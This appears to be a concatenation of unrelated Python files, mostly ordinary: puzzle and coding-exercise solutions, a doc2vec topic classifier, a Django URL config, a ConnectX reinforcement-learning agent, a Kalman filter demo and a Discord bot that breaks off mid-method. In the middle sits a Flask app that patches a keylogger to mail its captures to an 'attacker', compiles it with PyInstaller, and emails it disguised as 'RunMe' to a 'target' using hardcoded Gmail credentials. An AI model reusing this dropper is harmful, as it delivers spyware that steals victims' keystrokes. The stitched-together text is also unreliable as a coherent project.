    # load stopwords list
    nltk.download('stopwords')
    cachedStopWords = stopwords.words("english")
    # load pretrained doc2vec model
    print("Load Associated Press News Skip-gram corpus")
    d2v_model_path = "doc2vec/apnews_dbow/doc2vec.bin"
    d2v_model = g.Doc2Vec.load(d2v_model_path)
    topic_list = list(topic_dict.keys())
    X = []
    y = []
    with open(topic_list_file, "w") as output:
        for topic in topic_list:
            output.write("{}\n".format(topic))
    with open(vectors_file, "w") as output:
        for topic_idx, topic in enumerate(topic_list):
            for dis_id in topic_dict[topic]:
                posts = discussion_dict[dis_id].get_posts_text()
                words = []
                for p in posts:
                    words += get_preprocessed_words(p, cachedStopWords)
                vec = d2v_model.infer_vector(words)
                X.append(vec)
                y.append(topic_idx)
                output.write("{},{},{}\n".format(
                    dis_id,
                    topic_idx,
                    ",".join([str(v) for v in vec])
                ))
    return X, y

def main():
    X = []
    y = []
    if os.path.exists(topic_list_file) and os.path.exists(vectors_file):
        with open(vectors_file, "r") as f:
            for line in f:
                items = line.strip().split(",")
                X.append(items[2:])
                y.append(items[1])
    else:
        dataloader = iac.IACDataLoader()
        dataloader.set_dataset_dir("dataset/discussions")
        dataloader.set_topic_filepath("dataset/topic.csv")
        dataloader.set_stance_filepath("dataset/author_stance.csv")
        dataloader.load()
        topic_dict = dataloader.get_topic_dict()
        discussion_dict = dataloader.get_discussion_dict()
        author_stance_dict = dataloader.get_author_stance_dict()
        topic_list = sorted(topic_dict.keys())
        X, y = preprocess(discussion_dict, topic_dict)
    print("Start training SVM model")
    X_train, X_test, y_train, y_test = train_test_split(X, y, stratify=y, test_size=0.25)
    clf = svm.SVC(kernel='linear', C=1)
    scores = cross_val_score(clf, X, y, cv=5)
    print("5-fold cross validation: {}, mean: {}".format(scores, np.mean(scores)))
    with open("task1_doc2vec.csv", "w") as output:
        output.write("{},{}\n".format(",".join([str(s) for s in scores]), np.mean(scores)))

if __name__ == "__main__":
    main()


import os

def read_input(input_filename):
    with open(input_filename) as input_file:
        input_split_lines = [item.rstrip() for item in input_file.readlines()]
    return input_split_lines

class Point:
    def __init__(self, x, y):
        self.x = x
        self.y = y

    def __repr__(self):
        return str((self.x, self.y))

    def __eq__(self, other):
        if isinstance(other, self.__class__):
            return self.x == other.x and self.y == other.y
        else:
            return False

    def __hash__(self):
        return hash(repr(self))

def unique(list_of_points):
    return_list = []
    for point in list_of_points:
        if point not in return_list:
            return_list.append(point)
    return return_list

def is_lower_than_neighbours(coords, board):
    if 0 < coords.x < len(board[0])-1 and 0 < coords.y < len(board)-1:
        # internal point
        return board[coords.y][coords.x] < min(board[coords.y - 1][coords.x],
                                               board[coords.y + 1][coords.x],
                                               board[coords.y][coords.x + 1],
                                               board[coords.y][coords.x - 1])
    else:
        left = right = top = bottom = False
        if 0 == coords.x:
            left = True
        elif coords.x == len(board[0]) - 1:
            right = True
        if 0 == coords.y:
            top = True
        elif coords.y == len(board) - 1:
            bottom = True

        if left and top:
            return board[coords.y][coords.x] < min(board[coords.y + 1][coords.x],
                                                   board[coords.y][coords.x + 1])
        if left and bottom:
            return board[coords.y][coords.x] < min(board[coords.y - 1][coords.x],
                                                   board[coords.y][coords.x + 1])
        if right and top:
            return board[coords.y][coords.x] < min(board[coords.y + 1][coords.x],
                                                   board[coords.y][coords.x - 1])
        if right and bottom:
            return board[coords.y][coords.x] < min(board[coords.y - 1][coords.x],
                                                   board[coords.y][coords.x - 1])
        if left:
            return board[coords.y][coords.x] < min(board[coords.y + 1][coords.x],
                                                   board[coords.y][coords.x + 1],
                                                   board[coords.y - 1][coords.x])
        if right:
            return board[coords.y][coords.x] < min(board[coords.y + 1][coords.x],
                                                   board[coords.y][coords.x - 1],
                                                   board[coords.y - 1][coords.x])
        if top:
            return board[coords.y][coords.x] < min(board[coords.y + 1][coords.x],
                                                   board[coords.y][coords.x + 1],
                                                   board[coords.y][coords.x - 1])
        if bottom:
            return board[coords.y][coords.x] < min(board[coords.y - 1][coords.x],
                                                   board[coords.y][coords.x + 1],
                                                   board[coords.y][coords.x - 1])
        return RuntimeError(coords, left, right, top, bottom)

def find_lower_point(centre_point, points, board):
    for point in points:
        if board[point.y][point.x] < board[centre_point.y][centre_point.x]:
            return find_local_minima(point, board)

    return centre_point

def find_local_minima(coords, board):
    if 0 < coords.x < len(board[0])-1 and 0 < coords.y < len(board)-1:
        # internal point
        return find_lower_point(coords,
                                [Point(coords.x, coords.y - 1),
                                 Point(coords.x, coords.y + 1),
                                 Point(coords.x - 1, coords.y),
                                 Point(coords.x + 1, coords.y)],
                                board)
    else:
        left = right = top = bottom = False
        if 0 == coords.x:
            left = True
        elif coords.x == len(board[0]) - 1:
            right = True
        if 0 == coords.y:
            top = True
        elif coords.y == len(board) - 1:
            bottom = True

        if left and top:
            return find_lower_point(coords,
                                    [Point(coords.x, coords.y + 1),
                                     Point(coords.x + 1, coords.y)],
                                    board)
        if left and bottom:
            return find_lower_point(coords,
                                    [Point(coords.x, coords.y - 1),
                                     Point(coords.x + 1, coords.y)],
                                    board)
        if right and top:
            return find_lower_point(coords,
                                    [Point(coords.x, coords.y + 1),
                                     Point(coords.x - 1, coords.y)],
                                    board)
        if right and bottom:
            return find_lower_point(coords,
                                    [Point(coords.x, coords.y - 1),
                                     Point(coords.x - 1, coords.y)],
                                    board)
        if left:
            return find_lower_point(coords,
                                    [Point(coords.x, coords.y - 1),
                                     Point(coords.x, coords.y + 1),
                                     Point(coords.x + 1, coords.y)],
                                    board)
        if right:
            return find_lower_point(coords,
                                    [Point(coords.x, coords.y - 1),
                                     Point(coords.x, coords.y + 1),
                                     Point(coords.x - 1, coords.y)],
                                    board)
        if top:
            return find_lower_point(coords,
                                    [Point(coords.x, coords.y + 1),
                                     Point(coords.x - 1, coords.y),
                                     Point(coords.x + 1, coords.y)],
                                    board)
        if bottom:
            return find_lower_point(coords,
                                    [Point(coords.x, coords.y - 1),
                                     Point(coords.x - 1, coords.y),
                                     Point(coords.x + 1, coords.y)],
                                    board)
        return RuntimeError(coords, left, right, top, bottom)

def main(input_lines):
    board = [[int(item) for item in line] for line in input_lines]

    minima_list = []
    for row_no, row in enumerate(board):
        for col_no, col in enumerate(row):
            coords = Point(col_no, row_no)
            if is_lower_than_neighbours(coords, board):
                minima_list.append(Point(coords.x, coords.y))

    # Iterate over all points in the board. If they're not a 9, then trace them
    # downhill to a minima (for speed, we could even check against all previously
    # tackled points). Then append them to the list of points in the associated basin.
    #
    # basins is a dict with keys being minima and vals being all points in that
    # minima's basin
    basins = dict()
    for item in minima_list:
        basins[item] = []
    for row_no, row in enumerate(board):
        for col_no, col in enumerate(row):
            print(row_no, col_no, board[row_no][col_no])
            if col != 9:
                # identify local minima of point
                p = Point(col_no, row_no)
                minima = find_local_minima(p, board)
                # add this point to the list against that point
                basins[minima].append(Point(p.x, p.y))

    # for each minima in the dict, calculate its basin size by removing duplicates,
    # and counting the points
    basin_sizes = dict()
    for minima in minima_list:
        basins[minima] = unique(basins[minima])
        basin_sizes[minima] = len(basins[minima])

    # get largest 3 basins
    largest_basins = sorted(basin_sizes.values())[-3:]
    # multiply together
    return largest_basins[0] * largest_basins[1] * largest_basins[2]

def functional(input_lines):
    pass

if __name__ == "__main__":
    input_split_by_lines = read_input(os.path.join(os.path.dirname(__file__),
                                                   'input.txt'))
    print(main(input_lines=input_split_by_lines))
    print(functional(input_lines=input_split_by_lines))


# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, val=0, next=None):
#         self.val = val
#         self.next = next
class Solution:
    def nextLargerNodes(self, head: Optional[ListNode]) -> List[int]:
        A = []

        while head:
            A.append(head.val)
            head = head.next

        n = len(A)
        res = [0] * n

        stack = []

        for i, x in enumerate(A):
            while stack and x > A[stack[-1]]:
                index = stack.pop()
                res[index] = x

            stack.append(i)

        return res


import asyncio
import json
from typing import Optional

from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy.future import select
from sqlmodel import Session

from app.db import sync_engine
from app.models import Results

async def get_results(session: AsyncSession,
                      event_result_id: Optional[int] = None):
    query = select(Results)
    if event_result_id is not None:
        query = query.where(Results.event_result_id == event_result_id)
    results = await session.execute(query)
    results = results.scalars().all()
    results = transform_to_model(results)
    return results

def add_record(record: Results):
    with Session(sync_engine) as session:
        query = select(Results).where(
            Results.event_result_id == record.event_result_id).where(
            Results.score_index == record.score_index).where(
            Results.new == True)
        result = session.execute(query)
        result = result.scalar()
        if not result:
            session.add(record)
            session.commit()
        else:
            result.new = False
            session.add(result)
            session.commit()
            session.refresh(result)
            session.add(record)
            session.commit()

def read_data_input():
    path = 'data/input'
    needed_class = 'Fon.Notification.EventResultNotification'
    score_body_class = 'Fon.Ora.ScoreBody'
    with open(path, 'r') as f:
        for row in f:
            row = json.loads(row)
            for el in row:
                if el.get('class') == needed_class:
                    curr_event_result_id = el['object']['eventResultId']
                    scores = el['object']['eventResultInstance']['object'][
                        'scores']
                    scores = [score['object'] for score in scores if
                              score['class'] == score_body_class]
                    curr_results = [
                        Results(
                            event_result_id=curr_event_result_id,
                            score_index=int(score['scoreIndex']),
                            score1=int(score['score1']),
                            score2=int(score['score2']),
                            flags=score['flags']
                        )
                        for score in scores
                    ]
                    for result in curr_results:
                        add_record(result)

def transform_to_model(records):
    return [Results(event_result_id=record.event_result_id,
                    score_index=record.score_index,
                    score1=record.score1,
                    score2=record.score2,
                    flags=record.flags,
                    new=record.new) for record in records]

if __name__ == '__main__':
    asyncio.run(read_data_input())


import sys
N = int(input())

stacks = []
for i in range(N):
    line = sys.stdin.readline()
    if line.startswith('pu'):
        stacks.append(int(line[5:]))
    elif line.startswith('po'):
        if len(stacks) !=0:
            print(stacks.pop(0))
        else:
            print(-1)
    elif line.startswith('s'):
        print(len(stacks))
    elif line[0].startswith('f'):
        if len(stacks) !=0:
            print(stacks[0])
        else:
            print(-1)
    elif line[0].startswith('b'):
        if len(stacks) !=0:
            print(stacks[-1])
        else:
            print(-1)
    elif line[0].startswith('e'):
        if len(stacks) !=0:
            print(0)
        else:
            print(1)


from django.conf import settings
from django.urls import include, path
from django.conf.urls import url
from django.contrib import admin

from machina import urls as machina_urls
from wagtail.admin import urls as wagtailadmin_urls
from wagtail.core import urls as wagtail_urls
from wagtail.documents import urls as wagtaildocs_urls

from search import views as search_views

if settings.SITE_ID == 1:
    ##OLD ROUTES
    urlpatterns = [
        path('', include('seoroute.urls')),
    ]
else:
    urlpatterns = [
        path('dadmin/', admin.site.urls),
        path('admin/', include(wagtailadmin_urls)),
        path('auth/', include('eauth.urls')),
        path('accounts/', include('allauth.urls')),
        path('api/', include('apis.urls')),
        path('articles/', include('blog.urls')),
        path('attendances/', include('attendances.urls')),
        path('contact-us/', include('contact.urls')),
        path('documents/', include(wagtaildocs_urls)),
        path('discussions/', include(machina_urls)),
        path('froala_editor/',include('froala_editor_views.urls')),
        path('search/', search_views.search, name='search'),
        path('courses/', include('courses.urls')),
        path('feed/', include('feed.urls')),
        path('news/', include('news.urls')),
        path('videos/', include('videos.urls')),
        path('user/', include('users.urls')),
        path('updates/', include('updates.urls')),
        path('stats/', include('stats.urls')),
        path('registration/', include('registration.urls')),

        # For anything not caught by a more specific rule above, hand over to
        # Wagtail's page serving mechanism. This should be the last pattern in
        # the list:

        path('', include(wagtail_urls)),

        # Alternatively, if you want Wagtail pages to be served from a subpath
        # of your site, rather than the site root:
        #    url(r'^pages/', include(wagtail_urls)),
    ]

if settings.DEBUG:
    from django.conf.urls.static import static
    from django.contrib.staticfiles.urls import staticfiles_urlpatterns

    # Serve static and media files from development server
    urlpatterns += staticfiles_urlpatterns()
    urlpatterns += static(settings.MEDIA_URL,
                          document_root=settings.MEDIA_ROOT)


num_marble = 71250
num_player = 452

def arrange_marbles(n, p):
    scores = [0] * num_player
    marble_list = [0]
    current = 0
    score = 0
    for turn in range(n):
        if (turn+1) % 23 == 0:
            # add score
            pos = current - 7
            if pos < 0:
                pos += len(marble_list)

            score = marble_list.pop(pos) + turn + 1
            user = p if (turn + 1) % p == 0 else (turn + 1) % p
            scores[user - 1] += score
            current = pos
        else:
            pos = current + 2
            if pos > len(marble_list):
                pos -= len(marble_list)
            # print('pos', pos)
            marble_list.insert(pos, turn+1)
            # print(marble_list)
            current = pos
    # print(score)
    return max(scores)

print(arrange_marbles(num_marble, num_player))
print(arrange_marbles(num_marble * 100, num_player))


import sys
sys.setrecursionlimit(10 ** 8)

N = int(sys.stdin.readline())

nums = list(map(int, sys.stdin.readline().split(" ")))

# +, -, *, // 의 개수
functions = list(map(int, sys.stdin.readline().split(" ")))

maxNum = -1000000000 # 최댓값 설정
minNum = 1000000000  # 최솟값 설정
ans = nums[0]

def Tracking(deep, plus, minus, mul, div, ans):
    global maxNum, minNum
    if(deep == N):
        if(maxNum < ans):
            maxNum = ans
        if(minNum > ans):
            minNum = ans
        return
    if(plus > 0):
        Tracking(deep + 1, plus - 1, minus, mul, div, ans + nums[deep])
    if(minus > 0):
        Tracking(deep + 1, plus, minus - 1, mul, div, ans - nums[deep])
    if(mul > 0):
        Tracking(deep + 1, plus, minus, mul - 1, div, ans * nums[deep])
    if(div > 0):
        if(ans >= 0):
            Tracking(deep + 1, plus, minus, mul, div - 1, int(ans / nums[deep]))
        else:
            Tracking(deep + 1, plus, minus, mul, div - 1, -int(abs(ans) / nums[deep]))

Tracking(1, functions[0], functions[1], functions[2], functions[3], ans)

print(maxNum)
print(minNum)

백준/Silver/14888. 연산자 끼워넣기/연산자 끼워넣기.py


import uuid

from mod_functions.sch_database_functions import reader

async def newTicket():
    ticket_id = uuid.uuid4().fields[1]
    data = await reader()

    if len(data) == 0:
        return ticket_id

    else:
        ticket_ids = [int(entry[4]) for entry in data]

        if ticket_id in ticket_ids:
            return False
        else:
            return ticket_id

async def ticketExists(ticket: int):
    data = await reader()

    try:
        ticket = int(ticket)
    except ValueError:
        return False

    if len(data) == 0:
        return False

    else:
        ticket_ids = [entry[4] for entry in data]

        if ticket in ticket_ids:
            # Returns all the data associated with that ticket
            vals = data[ticket_ids.index(ticket)]
            vals = [vals[0], vals[1], vals[2], vals[4]]
            dt = vals.pop(1)
            date = dt[:10]
            time = dt[10:]
            vals.extend([date, time])
            keys = ("channel", "message", "ticket_id", "date", "time")
            return dict(zip(keys, vals))

        else:
            return False


from kaggle_environments import make, utils
from kaggle_environments.envs.connectx.connectx import renderer
import gym
import numpy as np
import matplotlib.pyplot as plt
import torch
import torch.nn as nn
import datetime
import pytz
from stable_baselines3.common.env_checker import check_env
from stable_baselines3 import PPO
from stable_baselines3.common.vec_env import DummyVecEnv
from stable_baselines3.common.vec_env import SubprocVecEnv
from stable_baselines3.common.torch_layers import BaseFeaturesExtractor
from stable_baselines3.common.results_plotter import load_results, ts2xy
from stable_baselines3.common.monitor import Monitor
# from stable_baselines3.common import set_global_seeds

## define env for connectx trainig using stable-baselines3
class ConnectXEnv(gym.Env):

    def __init__(self, policy="negamax", turn="sente"):
        super(ConnectXEnv, self).__init__()
        self.env = make("connectx", debug=False)
        self.set_trainer(policy, turn)

        # アクション数定義
        ACTION_NUM = self.env.configuration["columns"]
        self.action_space = gym.spaces.Discrete(ACTION_NUM)

        # 状態の範囲を定義
        self.WIDTH = self.env.configuration["columns"]
        self.HEIGHT = self.env.configuration["rows"]

        self.obs_shape = [self.HEIGHT, self.WIDTH, 3] # treat as image
        self.observation_space = gym.spaces.Box(low=0, high=255, shape=self.obs_shape, dtype=np.uint8)

        self.reset()

    def set_trainer(self, policy, turn):
        if turn=="sente":
            self.trainer = self.env.train([None, policy])
        elif turn=="gote":
            self.trainer = self.env.train([policy, None])
        else:
            raise ValueError("Turn is incorrect! Select \"sente\" or \"gote\"!")

    def reset(self):
        state = self.trainer.reset()
        self.state = state
        self.board = state["board"]
        self.mark = state["mark"]
        self.done = False
        self.boardImg = self.board2img(self.board)

        return self.boardImg

    # kaggle_environment seems not to have env.seed()
    # def seed(self, seed):
    #     self.env.seed(seed)

    def step(self, action):
        action = int(action) # added this row in order to avoid error like "Invalid Action: 4 is not of type 'integer'"
        state, reward, done, info = self.trainer.step(action)

        self.state = state
        self.board = state["board"]
        self.boardImg = self.board2img(self.board)
        self.reward = -1 if reward==None else reward
        self.done = done

        return self.boardImg, self.reward, self.done, info

    def render(self, **kwargs):
        self.env.render(**kwargs)

    def board2img(self, board):
        tmp = np.array(board).reshape(self.obs_shape[:2])
        boardImg = np.zeros(self.obs_shape, dtype=np.uint8)
        boardImg[:,:,0] = np.array(tmp==self.mark)*255 # ch.0 : own mark
        boardImg[:,:,1] = np.array(tmp==(3-self.mark))*255 # ch.1 : opponent mark
        return boardImg

    def boardshow(self, verbose=0):
        plt.figure(figsize=(2,2))
        plt.imshow(self.boardImg)
        if verbose:
            print("red : own piece")
            print("green : opponent piece")

    def renderBoard(self):
        columns = self.env.configuration.columns
        rows = self.env.configuration.rows
        board = self.state["board"]

        def print_row(values, delim="|"):
            return f"{delim} " + f" {delim} ".join(str(v) for v in values) + f" {delim}\n"

        row_bar = "+" + "+".join(["---"] * columns) + "+\n"
        out = row_bar
        for r in range(rows):
            out = out + \
                print_row(board[r * columns: r * columns + columns]) + row_bar

        print(out)

# define functions to make wrapper for env
def make_ConnectXEnv(rank, seed=0, policy="random", turn="sente"):
    def _init():
        env = ConnectXEnv(policy, turn)
        # kaggle_environment seems not to have env.seed()
        # env.seed(seed+rank)
        return env
    # set_global_seeds(seed)
    return _init

# define custom CNN for stable-baselines3
class CustomCNN(BaseFeaturesExtractor):
    """
    :param observation_space: (gym.Space)
    :param features_dim: (int) Number of features extracted.
        This corresponds to the number of unit for the last layer.
    """

    def __init__(self, observation_space: gym.spaces.Box, features_dim: int = 256):
        super(CustomCNN, self).__init__(observation_space, features_dim)
        # We assume CxHxW images (channels first)
        # Re-ordering will be done by pre-preprocessing or wrapper
        n_input_channels = observation_space.shape[0]
        self.cnn = nn.Sequential(
            # 形を変えずにCNN
            nn.Conv2d(n_input_channels, 16, kernel_size=3, stride=1, padding=1), # 3x6x7 to 16x6x7
            nn.ReLU(),
            nn.Conv2d(16, 16, kernel_size=3, stride=1, padding=1), # 16x6x7 to 16x6x7
            nn.ReLU(),
            nn.Conv2d(16, 16, kernel_size=3, stride=1, padding=1), # 16x6x7 to 16x6x7
            nn.ReLU(),
            nn.Conv2d(16, 16, kernel_size=3, stride=1, padding=1), # 16x6x7 to 16x6x7
            nn.ReLU(),
            nn.Conv2d(16, 16, kernel_size=3, stride=1, padding=1), # 16x6x7 to 16x6x7
            nn.ReLU(),
            nn.Conv2d(16, 16, kernel_size=3, stride=1, padding=1), # 16x6x7 to 16x6x7
            nn.ReLU(),
            nn.Conv2d(16, 16, kernel_size=3, stride=1, padding=1), # 16x6x7 to 16x6x7
            nn.ReLU(),
            # 縦方向に全結合
            nn.Conv2d(16, 16, kernel_size=(6,1), stride=1, padding=0), # 16x6x7 to 16x1x7
            nn.ReLU(),
            nn.Flatten(), # 16x1x7 to 112
        )

        # Compute shape by doing one forward pass
        with torch.no_grad():
            n_flatten = self.cnn(
                torch.as_tensor(observation_space.sample()[None]).float()
            ).shape[1]

        self.linear = nn.Sequential(nn.Linear(n_flatten, features_dim), nn.ReLU())

    def forward(self, observations: torch.Tensor) -> torch.Tensor:
        return self.linear(self.cnn(observations))

## define callback function used in model.learn
class Callback():

    def __init__(self, model_dir="./models"):
        self.num_update = 0
        self.best_mean_reward = -np.inf

        self.model_dir = model_dir

    def __call__(self, _locals, _globals):
        if (self.num_update+1)%1000==0:
            _, y = ts2xy(load_results(self.model_dir), "timesteps")
            if len(y)>0:
                mean_reward = np.mean(y[-1000:])
                update_model = mean_reward > self.best_mean_reward
                if update_model:
                    self.best_mean_reward = mean_reward
                    _locals["self"].save(self.model_dir + "/best_model")

                print("time: {}, num_update: {}, mean: {:.3f}, best_mean: {:.3f}, model_update: {}".format(
                    datetime.datetime.now(pytz.timezone("Asia/Tokyo")),
                    self.num_update,
                    mean_reward,
                    self.best_mean_reward,
                    update_model
                ))

        self.num_update += 1

        return True

## define agent
class RolloutAgent():
    def __init__(self, modelpath):
        self.model =  PPO.load(modelpath)

        self.env = make("connectx", debug=False)

        # アクション数定義
        ACTION_NUM = self.env.configuration["columns"]
        self.action_space = gym.spaces.Discrete(ACTION_NUM)

        # 状態の範囲を定義
        self.WIDTH = self.env.configuration["columns"]
        self.HEIGHT = self.env.configuration["rows"]

        self.obs_shape = [self.HEIGHT, self.WIDTH, 3] # treat as image
        self.observation_space = gym.spaces.Box(low=0, high=255, shape=self.obs_shape, dtype=np.uint8)

    def obs2boardImg(self, obs):

        #state, reward, done, info = obs
        state = obs

        board = state["board"]
        mark = state["mark"]

        tmp = np.array(board).reshape(self.obs_shape[:2])
        boardImg = np.zeros(self.obs_shape, dtype=np.uint8)
        boardImg[:,:,0] = np.array(tmp==mark)*255 # ch.0 : own mark
        boardImg[:,:,1] = np.array(tmp==(3-mark))*255 # ch.1 : opponent mark
        return boardImg

    def __call__(self, obs, config):
        # obs is a state of field as an image

        boardImg = self.obs2boardImg(obs)
        boardImg = boardImg[None] #
        action, _states = self.model.predict(boardImg, deterministic=True)

        return int(action)


#coding:utf-8
import numpy as np
import matplotlib.pyplot as plt
plt.rcParams['font.sans-serif']=['YaHei Consolas Hybrid']#
plt.rcParams['axes.unicode_minus']=False #
z=[1.9945,1.9794,1.9554,1.9214,1.8777,1.8250,1.7598,1.6867,
   1.6036,1.5092,1.4076,1.2944,1.1724,1.0399,0.8980,0.7455,
   0.5850,0.4125,0.2318,0.0399]
z = list(map(lambda x:x*1000,z))
x = [];P=[]  #分配空间
A = np.mat([ [ 1, 0 ],
             [-1, 1 ] ])
H = np.mat([[0,1]])
R = 1
x.append(np.mat([ [10],[1900] ])) #设定初值
P.append (np.mat([[100 ,0],
                  [0   ,2] ]))
for  i in range(len(z)):
    x_k_plus = A*x[i] + np.mat( [ [1] , [-0.5] ])*9.8#先验估计
    P_k_plus = A*P[i]*A.T
    K_k =  P_k_plus *H.T* np.linalg.inv(H*P_k_plus*H.T + R)
    x.append(x_k_plus+K_k * (z[i] - H * x[i]))
    P.append( (np.eye(2,2)-K_k*H) * P_k_plus )
    pass
plt.figure()
plt.grid();
plt.plot(np.linspace(1,21,21),list(map(lambda m:m[1,0],x)),label = "卡尔曼滤波估计")
plt.plot(np.linspace(1,20,20),z,label = '量测值')
plt.legend()
plt.xlabel("Time(s)");plt.ylabel("h(m)");plt.title("原始量测与卡尔曼估计对比")
plt.show()#


from flask import Flask,redirect,render_template,request,flash,url_for
import PyInstaller.__main__
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
app = Flask(__name__)

@app.route('/',methods=('GET','POST'))
def home():
    if request.method == 'POST':
        attacker = request.form['attacker']
        target = request.form['target']
        with open(r"keylogger.py", 'r+') as file:
            lines = file.readlines()
            file.seek(0)
            file.truncate()
            file.writelines(lines[:-1])
            file.write('sendMail("'+attacker+'")')
            file.close()
        PyInstaller.__main__.run([
            'keylogger.py',
            '--onefile',
            '--windowed'
        ])
        msg = MIMEMultipart()
        filename = "RunMe"
        attachment = open(r"dist/keylogger", "rb")
        p = MIMEBase('application', 'octet-stream')
        p.set_payload((attachment).read())
        encoders.encode_base64(p)
        p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
        msg.attach(p)
        s = smtplib.SMTP('smtp.gmail.com', 587)
        s.starttls()
        s.login("spykeyph@gmail.com", "hpyekyps")
        text = msg.as_string()
        s.sendmail("spykeyph@gmail.com", target, text)
        s.quit()
        return render_template('res.html')
    return render_template('index.html')

@app.route('/res/',methods = ('GET','POST'))
def res():
    return render_template("res.html")

if __name__=='__main__':
    app.run(debug=True)


T = int(input())

for _ in range(T):
    N = int(input())
    init = list(input())
    target = list(input())
    cnt = []

    for i in range(N):
        if init[i] != target[i]:
            cnt.append(init[i])

    if not cnt:
        print(0)
    elif cnt.count("B") >= cnt.count("W"):
        print(cnt.count("B"))
    else:
        print(cnt.count("W"))


# coding: utf-8
import datetime
import threading
import logging

import zerorpc
from django.conf import settings

logger = logging.getLogger(__name__)
BIND_ADDR = getattr(settings, 'IPC_HEALTHD_BIND_ADDR', 'tcp://0.0.0.0:11711')

def Server(health_endpoint):
    server = zerorpc.Server(health_endpoint)
    server.bind(BIND_ADDR)
    logger.info('healthd is bound to %s', BIND_ADDR)

    return server

def Client(**kwargs):
    """ Cria um cliente, já conectado ao serviço de monitoramento de
    saúde do sistema.

    Argumentos nomeados serão passados diretamente na inicialização
    do objeto `zerorpc.Client`.
    """
    client = zerorpc.Client(**kwargs)
    client.connect(BIND_ADDR)
    logger.info('healthd client is connected to %s', BIND_ADDR)

    return client

class CheckItem(object):
    """
    Represents an item that needs to be checked.
    """
    def __call__(self):
        """
        Performs the check step for a specific app aspect.
        """
        raise NotImplementedError()

    def structured(self):
        return {'description': self.__class__.__doc__.strip(),
                'status': self()}

class CheckList(object):
    """
    Performs a sequence of checks related to the application health.
    """
    def __init__(self, refresh=0.25):
        """
        :param refresh: (optional) refresh rate in minutes.
        """
        self.latest_report = {}

        self._check_list = []
        self._refresh_rate = datetime.timedelta(minutes=refresh)
        self._refreshed_at = None

        self._lock = threading.Lock()

    def add_check(self, check):
        """
        Add a check to the registry.

        :param check: a callable that receives nothing as argument.
        """
        assert isinstance(check, CheckItem)
        self._check_list.append(check)

    def run(self):
        """
        Run all checks sequentially and updates the object state.
        """
        self.latest_report = {check.__class__.__name__: check.structured()
                              for check in self._check_list}
        self._refreshed_at = datetime.datetime.now()

    def update(self):
        """
        Run all checks respecting the refresh rate.
        """
        with self._lock:
            if self._refreshed_at is None or (
                self._refreshed_at + self._refresh_rate <= datetime.datetime.now()):

                self.run()

    def since(self):
        """
        Total seconds since the last refresh.
        """
        try:
            return str(datetime.datetime.now() - self._refreshed_at)
        except TypeError:
            # called before run any check
            return None


#! /usr/local/bin/python
from .avulsion_utils import find_beach_length_riv_cell, get_link_lengths

def calc_qs(nu, riv_i, riv_j, n, sea_level, ch_depth, dx, dy, dt, slope):
    """Calculate sediment flux at river mouth."""

    beach_len = find_beach_length_riv_cell(
        n,
        (riv_i[-2], riv_j[-2]),
        (riv_i[-1], riv_j[-1]),
        sea_level,
        ch_depth,
        slope,
        dx=dx,
        dy=dy,
    )

    ds = get_link_lengths((riv_i[-2:], riv_j[-2:]), dx=dx, dy=dy)
    ds[-1] += beach_len
    dz = (sea_level - ch_depth) - n[riv_i[-2], riv_j[-2]]

    return -nu * dz / ds

    # ds = get_link_lengths((riv_i[-3:-1], riv_j[-3:-1]), dx=dx, dy=dy)

    # dz = n[riv_i[-2], riv_j[-2]] - n[riv_i[-3], riv_j[-3]]

    # return - nu * dz / ds


import discord
import asyncio
import aiohttp
import time
import math
import random
import datetime
import psutil
import operator
from pyparsing import (Literal, CaselessLiteral, Word, Combine, Group, Optional, ZeroOrMore, Forward, nums, alphas, oneOf)
from addons.utils import imageLookup, urban_define, urban_parse_definition
from discord.ext import commands
from sympy import solve
from ext.utilities import parse_equation

class NumericStringParserForPython3(object):
    def pushFirst(self, strg, loc, toks):
        self.exprStack.append(toks[0])
    def pushUMinus(self, strg, loc, toks):
        if toks and toks[0] == '-':
            self.exprStack.append('unary -')

    def __init__(self):
        """
        Need it for the math dawg

        expop   :: '^'
        multop  :: '*' || '/'
        addop   :: '+' || '-'
        integer :: ['+' || '-'] '0'..'9'+
        """
        point = Literal(".")
        e = CaselessLiteral("E")
        pi = CaselessLiteral("PI")
        fnumber = Combine(Word("+-"+nums, nums) +
                          Optional(point + Optional(Word(nums))) +
                          Optional(e + Word("+-"+nums, nums)))
        ident = Word(alphas, alphas+nums+"_$")
        plus = Literal("+")
        minus = Literal("-")
        mult = Literal("*")
        div = Literal("/")
        lpar = Literal("(").suppress()
        rpar = Literal(")").suppress()
        addop = plus | minus
        multop = mult | div
        expop = Literal("^")
        expr = Forward()
        atom = ((Optional(oneOf("- +")) + (pi | e | fnumber |ident + lpar + expr + rpar).setParseAction(self.pushFirst)) | Optional(oneOf("- +")) + Group(lpar + expr + rpar)).setParseAction(self.pushUMinus)
        factor = Forward()
        factor << atom + ZeroOrMore((expop + factor).setParseAction(self.pushFirst))
        term = factor + ZeroOrMore((multop + factor).setParseAction(self.pushFirst))
        expr << term + ZeroOrMore((addop + term).setParseAction(self.pushFirst))

        self.bnf = expr
        epsilon = 1e-12
        self.opn = {
                "+" : operator.add,
                "-" : operator.sub,
                "*" : operator.mul,
                "/" : operator.truediv,
                "^" : operator.pow }

        self.fn = {
                "sin" : math.sin,
                "cos" : math.cos,
                "tan" : math.tan,
                "abs" : abs,
                "trunc" : lambda a: int(a),
                "round" : round,
                "sgn" : lambda a: abs(a)>epsilon and cmp(a,0) or 0}

    def evaluateStack(self, s):
        op = s.pop()
        if op == 'unary -':
            return -self.evaluateStack(s)
        if op in "+-*/^":
            op2 = self.evaluateStack(s)
            op1 = self.evaluateStack(s)
            return self.opn[op](op1, op2)
        elif op == "PI":
            return math.pi # 3.1415926535, if i remember right
        elif op == "E":
            return math.e  # 2.718281828, if i remember right
        elif op in self.fn:
            return self.fn[op](self.evaluateStack(s))
        elif op[0].isalpha():
            return 0
        else:
            return float(op)

    def evalu(self, num_string, parseAll=True):
        self.exprStack = []
        results=self.bnf.parseString(num_string, parseAll)
        val = self.evaluateStack(self.exprStack[:])
        return val

class General(commands.Cog):
    """
    General Commands
    """

    #Construct
    def __init__(self, bot):
        self.bot = bot
        self.nsp = NumericStringParserForPython3()
        print('Addon "{}" loaded'.format(self.__class__.__name__))

    @commands.command()
    async def purge(self, ctx, number : int):
        try:
            mgs = [] #list to put all the messages in the log
            async for x in ctx.message.channel.history(limit=number):
                mgs.append(x)
            await ctx.message.channel.delete_messages(mgs)
            time.sleep(0.5)
